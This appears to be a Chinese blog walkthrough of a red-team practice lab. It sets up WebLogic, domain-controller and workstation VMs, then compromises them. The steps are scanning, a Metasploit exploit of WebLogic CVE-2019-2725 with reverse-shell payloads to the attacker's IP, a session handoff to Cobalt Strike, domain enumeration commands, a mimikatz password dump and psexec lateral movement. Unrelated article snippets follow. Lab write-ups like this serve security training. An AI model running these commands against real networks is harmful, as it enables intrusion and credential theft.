【精选】ATKCK红队评估实战靶场二 (超详细过程思路)

news2025/4/9 20:52:46
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


一、环境搭建

1.靶场下载

靶场下载地址:
https://pan.baidu.com/s/1QlkyFALPCZADUQevFYf_2A?pwd=hqxi
提取码:hqxi

2.环境配置

1.拓朴图

pc

跟红日靶场一的环境类似需要模拟内网和外网两个网段, PC 端虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内

DC

DC在该环境中充当是域控。DC配置如下 :

WEB

WEB配置:需要两块网卡,相当于网关服务器

网段配置

这里还需要把网卡VMnet1的IP段调成10.10.10.0

作者把外网网段都写成了192.168.111.1/24,所以我们可以把我们的NAT修改成111段的,所以需要将子网ip设置为192.168.111.0

网络配置完成,这三台虚拟主机默认开机密码都是:密码1qaz@WSX

注意:WEB的这台服务器,切换用户 de1ay或者管理员用户administrator,密码也是1qaz@WSX

2.查看虚拟机IP地址
DCWEBPCkali
AD域域成员攻击机
内网:10.10.10.10内网:10.10.10.80内网:10.10.10.201
外网:192.168.111.129外网:192.168.111.130外网:192.168.111.128

我这里的Net网卡的IP和作者的不一样,是因为我改了本地连接一的网卡配置

我把手动改成了自动的DHCP分配地址,所有外网的Net模式的IP跟作者不一样

先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有三个 startWeblogic 的批处理,都要挨个用管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX

WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动

二、外网渗透

1.nmap扫描

先用nmap扫描一下

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.111.129

可以看到开启了80、135、139、445、1433、3389、7001、49152、49153、49154端口

端口开启可能存在的服务:

1.445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞

2.开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞

3.放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令

4.开放7001端口可能存在Weblogic反序列化漏洞

2.WeblogicScan 扫描

首先看到开放了7001端口,尝试访问下

发现访问不了,所有利用WeblogicScan扫描一下

kali中是不自带WeblogicScan扫描工具的,所有要下载

git clone https://github.com/rabbitmask/WeblogicScan.git

cd WeblogicScan

sudo apt-get update
sudo apt-get install git

WeblogicScan扫描

┌──(root💀kali)-[~/桌面/WeblogicScan]
└─# python3 WeblogicScan.py -u 192.168.111.129 -p 7001

通过扫描发现存在SSRF CVE-2019-2725 CVE-2019-2729的漏洞

可以上网查找该漏洞的复现方法,这个漏洞还是相对比较成熟了

该漏洞的位置位于:

http://192.168.111.129:7001/uddiexplorer/SearchPublicRegistries.jsp

点击Search抓包测试
这里可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错

1.端口存在返回状态码  returned a 404 error code 
2.端口不存在        but could not connect over HTTP to server 
3.非http协议       did not have a valid SOAP content-type 
4.协议没写         no protocol

当我们访问一个不存在的端口时,比如 http://127.0.0.1:4444 将会返回:could not connect over HTTP to server

3.Weblogic漏洞利用

我们首先利用msf进行查找看看CVE-2019-2725漏洞

msfconsole
search cve-2019-2725

这里进行多打几次,因为靶机有360和防火墙的原因

use 0
show options            查看一些参数
set payload windows/meterpreter/reverse_tcp  #设置攻击载荷,因为已经对方为windows系统
set rhosts 192.168.111.129
set lhost 192.168.111.128
set target 1
run

成功getshell,但是想要尝试提权,却发现失败了

getsystem

三.内网渗透

1.MSF派生CS

CS开启服务
──(root💀kali)-[~/routing/CS]
└─# ./teamserver 192.168.111.128 123456

CS开启客户端

密码就填刚刚的123456,用户可以随便填

创建一个Lisenter

msf

msf中我现在的这个meterpreter的session id为1

meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > use exploit/windows/local/payload_inject
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set session 1
session => 1
msf6 exploit(windows/local/payload_inject) > set lport 9090
lport => 9090
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf6 exploit(windows/local/payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > run


端口要和我们cs中监听的需要一样9090

再回去cs中,发现web这台机器上线成功了

进行提权

设置延迟为0,方便后面的信息收集

在这里就可以输入命令了

2.域内信息收集

发现有双网卡,10.10.10.1/24和192.168.111.0网段,域控IP 10.10.10.10

ipconfig /all   # 查看本机ip,所在域

net user /domain    #查询域内用户

net group "domain admins" /domain   #查看域管理员用户

net group "domain controllers" /domain     #查看域控:

net group "domain computers" /domain  # 查看域中的其他主机名


net view
net view /domain

分别ping一下DC和PC,可以解析出主机ip地址

DC 10.10.10.10
PC 10.10.10.201

信息收集总结:

目标主机所在的网络存在域环境,域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC,域管理员为Administrator

WEB:192.168.111.129  内网:10.10.10.80
PC:内网:10.10.10.201
DC:内网:10.10.10.10

3.横向移动

1.portscan 端口扫描

扫描发现域控开放445端口。可以尝试psexec横向移动

2.猕猴桃抓取密码

由于weblogic启动需要域管理员密码,而本台webserver2008存在内存明文密码的漏洞 故而可知域管理员账密 administrator/1qaz@WSX

3.获取域控权限

创建smb

对目标10.10.10.10(DC)进行横向移动

设置psexec

可以发现DC这台域控主机已经被拿下

PC主机跟DC一样的方法拿下

我这里中途不知道什么原因掉了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1286529.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智能优化算法应用:基于人工电场算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于人工电场算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于人工电场算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.人工电场算法4.实验参数设定5.算法结果6.参考…

IO / day03 作业

1. 使用文件IO完成对图像的读写操作 代码 #include<myhead.h>int main(int argc, const char *argv[]) {int fd-1;if((fd open("./bird.bmp", O_RDWR)) -1){perror("fopen error");return -1;}//读取该图片的大小&#xff0c;需要将光标向后偏移…

写论文焦虑?No,免费AI写作大师来帮你

先来看1分钟的视频&#xff0c;对于要写论文的你来说&#xff0c;绝对有所值&#xff01; 还在为写论文焦虑&#xff1f;免费AI写作大师来帮你三步搞定 第一步&#xff1a;输入关键信息 第二步&#xff1a;生成大纲 稍等片刻后&#xff0c;专业大纲生成&#xff08;由于举例&am…

python 堆与栈

【一】堆与栈 【 1 】简介 栈&#xff08;stack&#xff09;&#xff0c;有些地方称为堆栈&#xff0c;是一种容器&#xff0c;可存入数据元素、访问元素、删除元素&#xff0c;它的特点在于只能允许在容器的一端&#xff08;称为栈顶端指标&#xff0c;英语&#xff1a;top&a…

智能无人售货奶柜,引领便捷时代

智能无人售货奶柜&#xff0c;引领便捷时代 在当今快节奏的生活中&#xff0c;人们对购物的需求变得越来越迫切。同时&#xff0c;随着科技的进步&#xff0c;无人售货柜作为一种创新的销售模式逐渐受到人们的关注和喜爱。其中&#xff0c;智能无人售货奶柜以其便捷高效的特点成…

OGG实现Oracle19C到postgreSQL14的实时同步

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…

TP5使用Composer安装phpoffice/phpspreadsheet,导出Excel文件

Composer安装 如果你尚未安装Composer&#xff0c;请先安装 Composer。Composer是PHP的依赖管理工具&#xff0c;它可以方便地安装和管理项目中的第三方库。 安装phpoffice/phpspreadsheet&#xff1a; 触发控制器里面的方法 wdjzdc() 在控制中引入 use PhpOffice\PhpSpread…

从零开始的Spring Cloud Gateway指南:构建强大微服务架构

目录 一、 什么是Gateway&#xff1f;1. 网关的由来2. 网关的作用3. 网关的技术实现 二、如何搭建一个简易网关服务1. 引入依赖2. 配置yml文件 三、进阶话题&#xff1a;过滤器和路由配置1. gateway的执行原理2. 路由断言工厂: Predicate Factory3. 网关过滤器&#xff1a;Gate…

Cannot resolve symbol ‘ActivityResultLauncher‘ 报错处理方法

修改 app/build.gradle implementation ‘androidx.appcompat:appcompat:1.2.0’ 为 implementation ‘androidx.appcompat:appcompat:1.4.0’

【模型报错记录】‘PromptForGeneration‘ object has no attribute ‘can_generate‘

通过这个连接中的方法解决&#xff1a; “PromptForGeneration”对象没有属性“can_generate” 期刊 #277 thunlp/OpenPrompt GitHub的 问题描述&#xff1a;在使用model.generate() 的时候报错&#xff1a;PromptForGeneration object has no attribute can_generate 解决方法…

在Spring Cloud中使用组件Zuul网关,并注册到Eureka中去

在上一篇中&#xff0c;我们搭建了Spring Cloud的父子模块&#xff0c;并实现了一个Eureka子模块的启动&#xff0c;可以通过浏览器地址去访问Eureka主页了&#xff0c;相信了解过的童鞋应该看到&#xff0c;主页上并未有任何服务去注册&#xff0c;那么我们就在这篇&#xff0…

【1】一文读懂PyQt简介和环境搭建

目录 1. PyQt简介 1.1. Qt 1.2. PyQt 1.3. 关于PyQt和PySide 2. 通过pip安装PyQt5 3. 无法运行处理 4. VSCode配置PYQT插件 PyQt官网:Riverbank Computing | Introduction 1. PyQt简介 PyQt是一套Python的GUI开发框架,即图形用户界面开发框架. Python中经常使用的GUI…

NXT : 十年源头代码的回溯与展望

11月28日,区块链领域的开山鼻祖之一NXT上线十周年。十年弹指一挥间,从2013年最初基于密码学证明思想构建的NXT,到今日仍在不断拓展与优化的Ardor(NXT 2.0)生态。我们不妨利用这个契机,回溯一下这个源头级公链的创新之路。 2013年,在区块链意味着复制比特币代码并调整挖矿算法的…

Verilog基础:$time、$stime和$realtime系统函数的使用

相关阅读 Verilog基础https://blog.csdn.net/weixin_45791458/category_12263729.html $time、 $stime和$realtime这三个系统函数提供了返回当前仿真时间方法。注意&#xff0c;这里的仿真时间的最小分辨能力是由仿真时间精度决定的&#xff0c;简单来说&#xff0c;可以理解为…

在线测量大尺寸管材的测径仪有哪些?

工业高速发展的背后&#xff0c;离不开与之匹配的高端设备作为科研的支撑。品质检测仪器也在随着现代科技的发展而不断变化&#xff0c;随着科技的进步&#xff0c;各种大口径的管材、管道被生产制造出来&#xff0c;而对其外径尺寸的检测则因口径范围大而使得很少有仪器能进行…

js选中起始时间使用标准时间毫秒值计算一年后的当前少一天的日期(并考虑闰年)

js选中起始时间使用标准时间毫秒值计算一年后的当前少一天的日期 实际代码里面带入默认日期’20230301’这个特殊日期&#xff0c;因为下一年的当前日期少一天为闰年的2月会有29天&#xff0c;使用特殊值校验代码效果图 HTML部分代码 <el-button click"chengTime()&q…

多线程--11--ConcurrentHashMap

ConcurrentHashMap与HashMap等的区别 HashMap线程不安全 我们知道HashMap是线程不安全的&#xff0c;在多线程环境下&#xff0c;使用Hashmap进行put操作会引起死循环&#xff0c;导致CPU利用率接近100%&#xff0c;所以在并发情况下不能使用HashMap。 ConcurrentHashMap 主…

读书笔记-《数据结构与算法》-摘要2[冒泡排序]

冒泡排序 核心&#xff1a;冒泡&#xff0c;持续比较相邻元素&#xff0c;大的挪到后面&#xff0c;因此大的会逐步往后挪&#xff0c;故称之为冒泡。 public class BubbleSort {public static void main(String[] args) {int unsortedArray[] new int[]{6, 5, 3, 1, 8, 7, 2…

软件设计之适配器模式

类模式 我们知道插座的电压为交流电220V&#xff0c;而日常电器使用的是直流电且电压会较小&#xff0c;比如手机充电会通过插头适配器达到额定的输入电流。下面我们实现这个案例&#xff1a;将220V电压转化为5V的电压。 package Adapter.Class;public class Adapter extends …

外包干了8个月,技术退步明显.......

先说一下自己的情况&#xff0c;大专生&#xff0c;18年通过校招进入武汉某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了四年的功能测…